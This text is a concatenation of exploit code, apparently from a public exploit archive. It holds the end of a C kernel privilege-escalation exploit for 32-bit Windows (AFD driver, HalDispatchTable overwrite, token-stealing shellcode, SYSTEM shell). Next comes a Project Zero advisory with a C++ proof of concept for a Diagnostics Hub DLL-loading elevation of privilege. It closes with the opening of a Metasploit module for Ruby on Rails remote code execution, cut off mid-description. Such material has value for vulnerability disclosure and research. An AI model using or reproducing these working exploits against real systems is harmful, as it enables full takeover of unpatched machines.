    printf("[*] Identifying OS\n");


    // identify target machine's OS architecture
    // in case the target machine is running a 64-bit OS
    if(IsWow64())
    {
        printf("   [-] 64-bit\n");
        return -1;
    }

    printf("   [+] 32-bit\n");


    // identify target machine's OS version
    // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724451(v=vs.85).aspx
    // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx
    // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724833(v=vs.85).aspx
    OSVERSIONINFOEX osvi;
    ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX));
    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
    GetVersionEx((LPOSVERSIONINFO) &osvi);

    // define operating system version specific variables
    unsigned char shellcode_KPROCESS;
    unsigned char shellcode_TOKEN;
    unsigned char shellcode_UPID;
    unsigned char shellcode_APLINKS;
    const char **securityPatchesPtr;
    int securityPatchesCount;
    int lpInBufferSize;

    ////////////////////////////////////////////////////////////////
    /*
    OS VERSION SPECIFIC OFFSETS

    references:
      http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/original.htm
      http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/late52.htm
      http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/current.htm
      http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/eprocess/


    - nt!_KTHREAD.ApcState.Process (+0x10)
    0x30 (3.51);
    0x34 (>3.51 to 5.1);
    0x28 (late 5.2);
    0x38 (6.0);
    0x40 (6.1);
    0x70 (6.2 and higher)

    - nt!_EPROCESS.Token
    0x0108 (3.51 to 4.0);
    0x012C (5.0);
    0xC8 (5.1 to early 5.2);
    0xD8 (late 5.2);
    0xE0 (6.0);
    0xF8 (6.1);
    0xEC (6.2 to 6.3);
    0xF4

    - nt!_EPROCESS.UniqueProcessId
    0x94 (3.51 to 4.0);
    0x9C (5.0);
    0x84 (5.1 to early 5.2);
    0x94 (late 5.2);
    0x9C (6.0);
    0xB4

    - nt!_EPROCESS.ActiveProcessLinks.Flink
    0x98 (3.51 to 4.0);
    0xA0 (5.0);
    0x88 (5.1 to early 5.2);
    0x98 (late 5.2);
    0xA0 (6.0);
    0xB8

    */
    ////////////////////////////////////////////////////////////////

    // in case the OS version is 5.1, service pack 3
    if((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 3))
    {
        // the target machine's OS is Windows XP SP3
        printf("   [+] Windows XP SP3\n");
        shellcode_KPROCESS = '\x44';
        shellcode_TOKEN    = '\xC8';
        shellcode_UPID     = '\x84';
        shellcode_APLINKS  = '\x88';
        const char *securityPatches[] = {"KB2503665", "KB2592799"};
        securityPatchesPtr = securityPatches;
        securityPatchesCount = 2;
        lpInBufferSize = 0x30;
    }

    // in case the OS version is 5.2, service pack 2, not R2
    //   https://msdn.microsoft.com/en-us/library/windows/desktop/ms724385(v=vs.85).aspx
    else if((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 2) && (osvi.wServicePackMajor == 2) && (GetSystemMetrics(89) == 0))
    {
        // the target machine's OS is Windows Server 2003 SP2
        printf("   [+] Windows Server 2003 SP2\n");
        shellcode_KPROCESS = '\x38';
        shellcode_TOKEN    = '\xD8';
        shellcode_UPID     = '\x94';
        shellcode_APLINKS  = '\x98';
        const char *securityPatches[] = {"KB2503665", "KB2592799", "KB2645640", "KB2975684"};
        securityPatchesPtr = securityPatches;
        securityPatchesCount = 4;
        lpInBufferSize = 0x30;
    }

    // in case the OS version is 6.0, service pack 1, workstation
    else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 1) && (osvi.wProductType == 1))
    {
        // the target machine's OS is Windows Vista SP1
        printf("   [+] Windows Vista SP1\n");
        shellcode_KPROCESS = '\x48';
        shellcode_TOKEN    = '\xE0';
        shellcode_UPID     = '\x9C';
        shellcode_APLINKS  = '\xA0';
        const char *securityPatches[] = {"KB2503665"};
        securityPatchesPtr = securityPatches;
        securityPatchesCount = 1;
        lpInBufferSize = 0x30;
    }

    // in case the OS version is 6.0, service pack 2, workstation
    else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 2) && (osvi.wProductType == 1))
    {
        // the target machine's OS is Windows Vista SP2
        printf("   [+] Windows Vista SP2\n");
        shellcode_KPROCESS = '\x48';
        shellcode_TOKEN    = '\xE0';
        shellcode_UPID     = '\x9C';
        shellcode_APLINKS  = '\xA0';
        const char *securityPatches[] = {"KB2503665", "KB2975684"};
        securityPatchesPtr = securityPatches;
        securityPatchesCount = 2;
        lpInBufferSize = 0x10;
    }

    // in case the OS version is 6.0, no service pack*, server
    // *Because Windows Server 2008 is based on the Windows NT 6.0 Service Pack 1 kernel, the RTM release is considered to be Service Pack 1;
    // accordingly, the first service pack is called Service Pack 2.
    //   https://en.wikipedia.org/wiki/Windows_Server_2008
    else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 1) && (osvi.wProductType != 1))
    {
        // the target machine's OS is Windows Server 2008
        printf("   [+] Windows Server 2008\n");
        shellcode_KPROCESS = '\x48';
        shellcode_TOKEN    = '\xE0';
        shellcode_UPID     = '\x9C';
        shellcode_APLINKS  = '\xA0';
        const char *securityPatches[] = {"KB2503665"};
        securityPatchesPtr = securityPatches;
        securityPatchesCount = 1;
        lpInBufferSize = 0x10;
    }

    // in case the OS version is 6.0, service pack 2, server
    else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 2) && (osvi.wProductType != 1))
    {
        // the target machine's OS is Windows Server 2008 SP2
        printf("   [+] Windows Server 2008 SP2\n");
        shellcode_KPROCESS = '\x48';
        shellcode_TOKEN    = '\xE0';
        shellcode_UPID     = '\x9C';
        shellcode_APLINKS  = '\xA0';
        const char *securityPatches[] = {"KB2503665", "KB2975684"};
        securityPatchesPtr = securityPatches;
        securityPatchesCount = 2;
        lpInBufferSize = 0x08;
    }

    // in case the OS version is 6.1, no service pack (note: Windows Server 2008 R2 is 64-bit only)
    else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 0))
    {
        // the target machine's OS is Windows 7
        printf("   [+] Windows 7\n");
        shellcode_KPROCESS = '\x50';
        shellcode_TOKEN    = '\xF8';
        shellcode_UPID     = '\xB4';
        shellcode_APLINKS  = '\xB8';
        const char *securityPatches[] = {"KB2503665"};
        securityPatchesPtr = securityPatches;
        securityPatchesCount = 1;
        lpInBufferSize = 0x20;
    }

    // in case the OS version is 6.1, service pack 1 (note: Windows Server 2008 R2 is 64-bit only)
    else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 1))
    {
        // the target machine's OS is Windows 7 SP1
        printf("   [+] Windows 7 SP1\n");
        shellcode_KPROCESS = '\x50';
        shellcode_TOKEN    = '\xF8';
        shellcode_UPID     = '\xB4';
        shellcode_APLINKS  = '\xB8';
        const char *securityPatches[] = {"KB2503665", "KB2975684"};
        securityPatchesPtr = securityPatches;
        securityPatchesCount = 2;
        lpInBufferSize = 0x10;
    }

    // in case the OS version is not any of the previously checked versions
    else
    {
        // the target machine's OS is an unsupported 32-bit Windows version
        printf("   [-] Unsupported version\n");
        printf("      [*] Affected 32-bit operating systems\n");
        printf("         [*] Windows XP SP3\n");
        printf("         [*] Windows Server 2003 SP2\n");
        printf("         [*] Windows Vista SP1\n");
        printf("         [*] Windows Vista SP2\n");
        printf("         [*] Windows Server 2008\n");
        printf("         [*] Windows Server 2008 SP2\n");
        printf("         [*] Windows 7\n");
        printf("         [*] Windows 7 SP1\n");
        return -1;
    }


    ////////////////////////////////////////////////////////////////
    // LOCATE REQUIRED OS COMPONENTS
    ////////////////////////////////////////////////////////////////

    printf("[*] Locating required OS components\n");


    // retrieve system information
    //   https://msdn.microsoft.com/en-us/library/windows/desktop/ms725506(v=vs.85).aspx
    // locate "ZwQuerySystemInformation" in the "ntdll.dll" module
    //   https://msdn.microsoft.com/en-us/library/windows/desktop/ms683212(v=vs.85).aspx
    FARPROC ZwQuerySystemInformation;
    ZwQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation");

    // 11 = SystemModuleInformation
    //   http://winformx.florian-rappl.de/html/e6d5d5c1-8d83-199b-004f-8767439c70eb.htm
    ULONG systemInformation;
    ZwQuerySystemInformation(11, (PVOID) &systemInformation, 0, &systemInformation);

    // allocate memory for the list of loaded modules
    ULONG *systemInformationBuffer;
    systemInformationBuffer = (ULONG *) malloc(systemInformation * sizeof(*systemInformationBuffer));

    if(!systemInformationBuffer)
    {
        printf("   [-] Could not allocate memory");
        return -1;
    }


    // retrieve the list of loaded modules 
    ZwQuerySystemInformation(11, systemInformationBuffer, systemInformation * sizeof(*systemInformationBuffer), NULL);

    // locate "ntkrnlpa.exe" or "ntoskrnl.exe" in the retrieved list of loaded modules
    ULONG i;
    PVOID targetKrnlMdlBaseAddr;
    HMODULE targetKrnlMdlUsrSpcOffs;
    BOOL foundModule = FALSE;
    PSYSTEM_MODULE_INFORMATION loadedMdlStructPtr;
    loadedMdlStructPtr = (PSYSTEM_MODULE_INFORMATION) (systemInformationBuffer + 1);

    for(i = 0; i < *systemInformationBuffer; i++)
    {
        if(strstr(loadedMdlStructPtr[i].ImageName, "ntkrnlpa.exe"))
        {
            printf("   [+] ntkrnlpa.exe\n");
            targetKrnlMdlUsrSpcOffs = LoadLibraryExA("ntkrnlpa.exe", 0, 1);
            targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base;
            foundModule = TRUE;
            break;
        }    
        else if(strstr(loadedMdlStructPtr[i].ImageName, "ntoskrnl.exe"))
        {
            printf("   [+] ntoskrnl.exe\n");
            targetKrnlMdlUsrSpcOffs = LoadLibraryExA("ntoskrnl.exe", 0, 1);
            targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base;
            foundModule = TRUE;
            break;
        }     
    }

    // base address of the loaded module (kernel space)
    printf("      [*] Address:      %#010x\n", targetKrnlMdlBaseAddr);

    // offset address (relative to the parent process) of the loaded module (user space)
    printf("      [*] Offset:       %#010x\n", targetKrnlMdlUsrSpcOffs);

    if(!foundModule)
    {
        printf("   [-] Could not find ntkrnlpa.exe/ntoskrnl.exe\n");
        return -1;
    }

    // free allocated buffer space
    free(systemInformationBuffer);


    // determine the address of the "HalDispatchTable" process (kernel space)
    // locate the offset fo the "HalDispatchTable" process within the target module (user space)
    ULONG_PTR HalDispatchTableUsrSpcOffs;
    HalDispatchTableUsrSpcOffs = (ULONG_PTR) GetProcAddress(targetKrnlMdlUsrSpcOffs, "HalDispatchTable");

    if(!HalDispatchTableUsrSpcOffs)
    {
        printf("      [-] Could not find HalDispatchTable\n");
        return -1;
    }

    printf("      [+] HalDispatchTable\n");
    printf("         [*] Offset:    %#010x\n", HalDispatchTableUsrSpcOffs);

    // calculate the address of "HalDispatchTable" in kernel space
    // 1. identify the base address of the target module in kernel space
    // 2. previous step's result [minus] the load address of the same module in user space
    // 3. previous step's result [plus] the address of "HalDispatchTable" in user space
    // EQUIVALENT TO:
    // 1. determine RVA of HalDispatchTable
    // *Relative Virtual Address - the address of an item after it is loaded into memory, with the base address of the image file subtracted from it.
    // 2. previous step's result [plus] base address of target module in kernel space
    ULONG_PTR HalDispatchTableKrnlSpcAddr;
    HalDispatchTableKrnlSpcAddr = HalDispatchTableUsrSpcOffs - (ULONG_PTR) targetKrnlMdlUsrSpcOffs;
    HalDispatchTableKrnlSpcAddr += (ULONG_PTR) targetKrnlMdlBaseAddr;


    // locate "NtQueryIntervalProfile" in the "ntdll.dll" module
    PNTQUERYINTERVAL NtQueryIntervalProfile;
    NtQueryIntervalProfile = (PNTQUERYINTERVAL) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");

    if(!NtQueryIntervalProfile)
    {
        printf("   [-] Could not find NtQueryIntervalProfile\n");
        return -1;
    }

    printf("   [+] NtQueryIntervalProfile\n");
    printf("      [*] Address:      %#010x\n", NtQueryIntervalProfile);


    // locate "ZwDeviceIoControlFile" routine in the "ntdll.dll" module
    //   https://msdn.microsoft.com/en-us/library/windows/hardware/ff566441(v=vs.85).aspx
    FARPROC ZwDeviceIoControlFile;
    ZwDeviceIoControlFile = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwDeviceIoControlFile");

    if(!ZwDeviceIoControlFile)
    {
        printf("   [-] Could not find ZwDeviceIoControlFile\n");
        return -1;
    }

    printf("   [+] ZwDeviceIoControlFile\n");
    printf("      [*] Address:      %#010x\n", ZwDeviceIoControlFile);


    ////////////////////////////////////////////////////////////////
    // SETUP EXPLOITATION PREREQUISITE
    ////////////////////////////////////////////////////////////////

    printf("[*] Setting up exploitation prerequisite\n");


    // initialize Winsock DLL
    printf ("   [*] Initialising Winsock DLL\n");
    WORD wVersionRequested;
    WSADATA wsaData;
    int wsaStartupErrorCode;

    // https://msdn.microsoft.com/en-us/library/windows/desktop/ms632663(v=vs.85).aspx
    wVersionRequested = MAKEWORD(2, 2);

    // initiate the use of the Winsock DLL
    //   https://msdn.microsoft.com/en-us/library/windows/desktop/ms742213(v=vs.85).aspx
    wsaStartupErrorCode = WSAStartup(wVersionRequested, &wsaData);

    if(wsaStartupErrorCode != 0)
    {
        // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
        printf("      [-] Failed (error code: %d)\n", wsaStartupErrorCode);
        return -1;
    }

    printf("      [+] Done\n");


    // create socket
    printf("      [*] Creating socket\n");
    SOCKET targetDeviceSocket = INVALID_SOCKET;

    // https://msdn.microsoft.com/en-us/library/windows/desktop/ms742212(v=vs.85).aspx
    targetDeviceSocket = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    if(targetDeviceSocket == INVALID_SOCKET)
    {
        // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
        printf("         [-] Failed (error code: %ld)\n", WSAGetLastError());
        return -1;
    }

    printf("         [+] Done\n");


    // connect to a closed port
    // connect to port 0 on the local machine
    struct sockaddr_in clientService;
    clientService.sin_family = AF_INET;
    clientService.sin_addr.s_addr = inet_addr("127.0.0.1");
    clientService.sin_port = htons(0);

    printf("         [*] Connecting to closed port\n");
    // https://msdn.microsoft.com/en-us/library/windows/desktop/ms737625(v=vs.85).aspx
    int connectResult;
    connectResult = connect(targetDeviceSocket, (SOCKADDR *) &clientService, sizeof(clientService));
    if (connectResult == 0)
    {
        // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
        printf ("            [-] Connected (error code: %ld)\n", WSAGetLastError());
        return -1;
    }

    printf("            [+] Done\n");


    ////////////////////////////////////////////////////////////////
    // CREATE TOKEN STEALING SHELLCODE
    ////////////////////////////////////////////////////////////////

    printf("[*] Creating token stealing shellcode\n");


    // construct the token stealing shellcode
    unsigned char shellcode[] =
    {
        0x52,                                                        // PUSH EDX                     Save EDX on the stack (save context)
        0x53,	                                                     // PUSH EBX                     Save EBX on the stack (save context)
        0x33,0xC0,                                                   // XOR EAX, EAX                 Zero out EAX (EAX = 0)
        0x64,0x8B,0x80,0x24,0x01,0x00,0x00,                          // MOV EAX, FS:[EAX+0x124]      Retrieve current _KTHREAD structure
        0x8B,0x40,shellcode_KPROCESS,                                // MOV EAX, [EAX+_KPROCESS]     Retrieve _EPROCESS structure
        0x8B,0xC8,                                                   // MOV ECX, EAX                 Copy EAX (_EPROCESS) to ECX
        0x8B,0x98,shellcode_TOKEN,0x00,0x00,0x00,                    // MOV EBX, [EAX+_TOKEN]        Retrieve current _TOKEN
        0x8B,0x80,shellcode_APLINKS,0x00,0x00,0x00,                  // MOV EAX, [EAX+_APLINKS] <-|  Retrieve FLINK from ActiveProcessLinks
        0x81,0xE8,shellcode_APLINKS,0x00,0x00,0x00,                  // SUB EAX, _APLINKS         |  Retrieve EPROCESS from ActiveProcessLinks
        0x81,0xB8,shellcode_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // CMP [EAX+_UPID], 0x4      |  Compare UniqueProcessId with 4 (System Process)
        0x75,0xE8,                                                   // JNZ/JNE                ----  Jump if not zero/not equal
        0x8B,0x90,shellcode_TOKEN,0x00,0x00,0x00,                    // MOV EDX, [EAX+_TOKEN]        Copy SYSTEM _TOKEN to EDX
        0x8B,0xC1,                                                   // MOV EAX, ECX                 Copy ECX (current process _TOKEN) to EAX
        0x89,0x90,shellcode_TOKEN,0x00,0x00,0x00,                    // MOV [EAX+_TOKEN], EDX        Copy SYSTEM _TOKEN to current process _TOKEN
        0x5B,                                                        // POP EBX                      Pop current stack value to EBX (restore context)
        0x5A,                                                        // POP EDX                      Pop current stack value to EDX (restore context)
        0xC2,0x08                                                    // RET 8                        Return
    };

    printf("   [*] Shellcode assembled\n");


    // allocate memory (RWE permissions) for the shellcode
    printf("   [*] Allocating memory\n");
    LPVOID shellcodeAddress;
    shellcodeAddress = VirtualAlloc((PVOID) 0x02070000, 0x20000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    int errorCode = 0;

    if(shellcodeAddress == NULL)
    {
        // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
        errorCode = GetLastError();
        // in case of ERROR_INVALID_ADDRESS
        if(errorCode == 487)
        {
            // Attempt to access invalid address
            // occurs since a fixed address is being reserved
            //   http://stackoverflow.com/questions/21368429/error-code-487-error-invalid-address-when-using-virtualallocex
            printf("      [!] Could not reserve entire range\n");
            printf("         [*] Rerun exploit\n");
        }
        // in case of any other error
        else
            printf("      [-] Failed (error code: %d)\n", errorCode);
        return -1;
    }

    printf("      [+] Address:      %#010x\n", shellcodeAddress);


    // copy the shellcode to the allocated memory
    memset(shellcodeAddress, 0x90, 0x20000);
    memcpy((shellcodeAddress + 0x10000), shellcode, sizeof(shellcode));
    printf("      [*] Shellcode copied\n");


    ////////////////////////////////////////////////////////////////
    // EXPLOIT THE VULNERABILITY
    ////////////////////////////////////////////////////////////////

    printf("[*] Exploiting vulnerability\n");


    // send AFD socket connect request
    printf("   [*] Sending AFD socket connect request\n");
    DWORD lpInBuffer[lpInBufferSize];
    memset(lpInBuffer, 0, (lpInBufferSize * sizeof(DWORD)));

    lpInBuffer[3] = 0x01;
    lpInBuffer[4] = 0x20;
    ULONG lpBytesReturned = 0;

    if(DeviceIoControl(
        (HANDLE) targetDeviceSocket,
        0x00012007,                                                        // IOCTL_AFD_CONNECT
        (PVOID) lpInBuffer, sizeof(lpInBuffer),
        (PVOID) (HalDispatchTableKrnlSpcAddr + 0x6), 0x0,
        &lpBytesReturned, NULL
        ) == 0)
    {
        // https://msdn.microsoft.com/en-us/library/windows/desktop/ms679360(v=vs.85).aspx
        errorCode = GetLastError();
        // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
        // in case of ERROR_INVALID_NETNAME
        if(errorCode == 1214)
        {
            // AFD socket connect request successful
            printf("      [+] Done\n");
        }
        // in case of ERROR_NOACCESS
        else if(errorCode == 998)
        {
            // AFD socket connect request unsuccessful - target is patched
            printf("      [!] Target patched\n");
            printf("         [*] Possible security patches\n");
            for(i = 0; i < securityPatchesCount; i++)
                printf("            [*] %s\n", securityPatchesPtr[i]);
            return -1;
        }
        // in case of any other error message
        else
        {
            // print the error code
            printf("      [-] Failed (error code: %d)\n", errorCode);
            return -1;
        }
    }


    // elevate privileges of the current process
    printf("      [*] Elevating privileges to SYSTEM\n");
    ULONG outInterval = 0;
    // https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FProfile%2FNtQueryIntervalProfile.html
    NtQueryIntervalProfile(2, &outInterval);
    printf("         [+] Done\n");


    // spawn shell (with elevated privileges)
    printf("         [*] Spawning shell\n");
    // spawn SYSTEM shell within the current shell (remote shell friendly)
    system ("c:\\windows\\system32\\cmd.exe /K cd c:\\windows\\system32");

    // clean up and exit
    printf("\n[*] Exiting SYSTEM shell\n");
    WSACleanup();
    return 1;
}

// EoF
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=887

Windows: Diagnostics Hub DLL Load EoP
Platform: Windows 10 10586, not tested 8.1 Update 2 or Windows 7
Class: Elevation of Privilege

Summary:
The fix for CVE-2016-3231 is insufficient to prevent a normal user specifying an insecure agent path leading to arbitrary DLL loading at system privileges.

Description:

CVE-2016-3231 was an issue caused by passing a relative agent path name which allowed the DLL path loaded for the agent DLL to be redirected to another file. This seems to have been fixed and as far as I can tell this issue is no longer exploitable from a sandbox. However the problem is there’s an assumption that it’s not possible to write a file to the system32 directory, which technically is true but practically for this exploit false. 

As I’ve blogged about before, and also submitted bugs (for example MSRC-21233) a normal user can created named streams on directories as long as they have FILE_ADD_FILE access right to the directory. When you do this you create what looks from a path perspective to be in the parent. For example the system32\tasks folder is writable by a normal user, so you can copy a DLL to system32\tasks:abc.dll and when GetFullPathName is called the filename returned is tasks:abc.dll. When the GetValidAgentPath is called it checks if this file is in system32 by using GetFileAttributes, which succeeds and the service will proceed to load the file.

On the fixing side of things, I can’t see an obvious reason why just checking for invalid path characters in the agent path wouldn’t be sufficient (and in fact would arguably have fixed the original bug as well). Of course I think it’s slightly dodgy that you’ll load any DLL from system32, even ones which aren’t agent DLLs. You’d have to find something which was somehow exploitable in a very short time window during DllMain but it might work.

Also I wonder whether they’re any legitimate uses for named streams on NTFS directories? While it’s certainly out of scope perhaps they could only be created by admins? Or perhaps the access check shouldn’t be on the target directories but its parent directory where the effective file appears to be located. 

Proof of Concept:

I’ve provided a PoC as a C++ source code file. You’ll also need a DLL to test load, I’ve not provided one of these but any should do, as long as it matches the bitness of the OS.

1) Compile the C++ source code file.
2) Execute the poc passing the path to the DLL you want to load in the service as a normal user.
3) It should print that the DLL was loaded successfully.

Expected Result:
The loading of a DLL fails as the path is rejected.

Observed Result:
The DLL is loaded successfully.
*/


// ExploitCollector.cpp : Defines the entry point for the console application.
//

#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <comdef.h>
#include <strsafe.h>

GUID CLSID_CollectorService = 
  { 0x42CBFAA7, 0xA4A7, 0x47BB,{ 0xB4, 0x22, 0xBD, 0x10, 0xE9, 0xD0, 0x27, 0x00, } };

class __declspec(uuid("f23721ef-7205-4319-83a0-60078d3ca922")) ICollectionSession : public IUnknown {
public:

  virtual HRESULT __stdcall PostStringToListener(REFGUID, LPWSTR) = 0;
  virtual HRESULT __stdcall PostBytesToListener() = 0;
  virtual HRESULT __stdcall AddAgent(LPWSTR path, REFGUID) = 0;
    //.rdata:0000000180035868                 dq offset ? Start@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJPEAUtagVARIANT@@@Z; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::Start(tagVARIANT *)
    //.rdata:0000000180035870                 dq offset ? GetCurrentResult@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJFPEAUtagVARIANT@@@Z; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::GetCurrentResult(short, tagVARIANT *)
    //.rdata:0000000180035878                 dq offset ? Pause@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJXZ; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::Pause(void)
    //.rdata:0000000180035880                 dq offset ? Resume@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJXZ; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::Resume(void)
    //.rdata:0000000180035888                 dq offset ? Stop@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJPEAUtagVARIANT@@@Z; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::Stop(tagVARIANT *)
    //.rdata:0000000180035890                 dq offset ? TriggerEvent@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJW4SessionEvent@@PEAUtagVARIANT@@11@Z; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::TriggerEvent(SessionEvent, tagVARIANT *, tagVARIANT *, tagVARIANT *)
    //.rdata:0000000180035898                 dq offset ? GetGraphDataUpdates@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJAEBU_GUID@@PEAUtagSAFEARRAY@@PEAUGraphDataUpdates@@@Z; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::GetGraphDataUpdates(_GUID const &, tagSAFEARRAY *, GraphDataUpdates *)
    //.rdata:00000001800358A0                 dq offset ? QueryState@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJPEAW4SessionState@@@Z; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::QueryState(SessionState *)
    //.rdata:00000001800358A8                 dq offset ? GetStatusChangeEventName@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJPEAPEAG@Z; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::GetStatusChangeEventName(ushort * *)
    //.rdata:00000001800358B0                 dq offset ? GetLastError@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJPEAJ@Z; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::GetLastError(long *)
    //.rdata:00000001800358B8                 dq offset ? SetClientDelegate@EtwCollectionSession@StandardCollector@DiagnosticsHub@Mic
};

struct SessionConfiguration
{
  DWORD version; // Needs to be 1
  DWORD  a1;     // Unknown
  DWORD  something; // Also unknown
  DWORD  monitor_pid;
  GUID   guid;
  BSTR   path;    // Path to a valid directory
  CHAR   trailing[256];
};

class __declspec(uuid("7e912832-d5e1-4105-8ce1-9aadd30a3809")) IStandardCollectorClientDelegate : public IUnknown
{
};

class __declspec(uuid("0d8af6b7-efd5-4f6d-a834-314740ab8caa")) IStandardCollectorService : public IUnknown
{
public:
  virtual HRESULT __stdcall CreateSession(SessionConfiguration *, IStandardCollectorClientDelegate *, ICollectionSession **) = 0;
  virtual HRESULT __stdcall GetSession(REFGUID, ICollectionSession **) = 0;
  virtual HRESULT __stdcall DestroySession(REFGUID) = 0;
  virtual HRESULT __stdcall DestroySessionAsync(REFGUID) = 0;
  virtual HRESULT __stdcall AddLifetimeMonitorProcessIdForSession(REFGUID, int) = 0;
};

_COM_SMARTPTR_TYPEDEF(IStandardCollectorService, __uuidof(IStandardCollectorService));
_COM_SMARTPTR_TYPEDEF(ICollectionSession, __uuidof(ICollectionSession));

class CoInit
{
public:
  CoInit() {
    CoInitialize(nullptr);
  }

  ~CoInit() {
    CoUninitialize();
  }
};

void ThrowOnError(HRESULT hr)
{
  if (hr != 0)
  {
    throw _com_error(hr);
  }
}

int wmain(int argc, wchar_t** argv)
{
  if (argc < 2)
  {
    printf("poc path\\to\\dll\n");
    return 1;
  }

  CoInit coinit;
  try
  {
    GUID name;
    CoCreateGuid(&name);
    LPOLESTR name_str;
    StringFromIID(name, &name_str);

    WCHAR random_name[MAX_PATH];
    StringCchPrintf(random_name, MAX_PATH, L"tasks:%ls.dll", name_str);

    WCHAR target[MAX_PATH];
    GetSystemDirectory(target, MAX_PATH);
    StringCchCat(target, MAX_PATH, L"\\");
    StringCchCat(target, MAX_PATH, random_name);

    WCHAR valid_dir[MAX_PATH];
    GetModuleFileName(nullptr, valid_dir, MAX_PATH);
    WCHAR* p = wcsrchr(valid_dir, L'\\');
    *p = 0;
    StringCchCat(valid_dir, MAX_PATH, L"\\etw");
    CreateDirectory(valid_dir, nullptr);

    if (!CopyFile(argv[1], target, FALSE))
    {
      printf("Error copying file %d\n", GetLastError());
      return 1;
    }

    IStandardCollectorServicePtr service;
    ThrowOnError(CoCreateInstance(CLSID_CollectorService, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&service)));
    DWORD authn_svc;
    DWORD authz_svc;
    LPOLESTR principal_name;
    DWORD authn_level;
    DWORD imp_level;
    RPC_AUTH_IDENTITY_HANDLE identity;
    DWORD capabilities;

    ThrowOnError(CoQueryProxyBlanket(service, &authn_svc, &authz_svc, &principal_name, &authn_level, &imp_level, &identity, &capabilities));
    ThrowOnError(CoSetProxyBlanket(service, authn_svc, authz_svc, principal_name, authn_level, RPC_C_IMP_LEVEL_IMPERSONATE, identity, capabilities));
    SessionConfiguration config = {};
    config.version = 1;
    config.monitor_pid = ::GetCurrentProcessId();
    CoCreateGuid(&config.guid);
    bstr_t path = valid_dir;
    config.path = path;
    ICollectionSessionPtr session;

    ThrowOnError(service->CreateSession(&config, nullptr, &session));
    GUID agent_guid;
    CoCreateGuid(&agent_guid);
    ThrowOnError(session->AddAgent(random_name, agent_guid));
  }
  catch (const _com_error& error)
  {
    if (error.Error() == 0x8007045A)
    {
      printf("DLL should have been loaded\n");
    }
    else
    {
      printf("%ls\n", error.ErrorMessage());
      printf("%08X\n", error.Error());
    }
  }

  return 0;
}
            
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ruby on Rails Dynamic Render File Upload Remote Code Execution',
      'Description'    => %q{
        This module exploits a remote code execution vulnerability in the explicit render
        method when leveraging user parameters.
        This module has been tested across multiple versions of Ruby on Rails.
        The technique used by this module requires the specified
        endpoint to be using dynamic render paths, such as the following example:

        def show
          render params[:id]
        end

        Also, the vulnerable target will need a POST endpoint for the TempFile upload, this
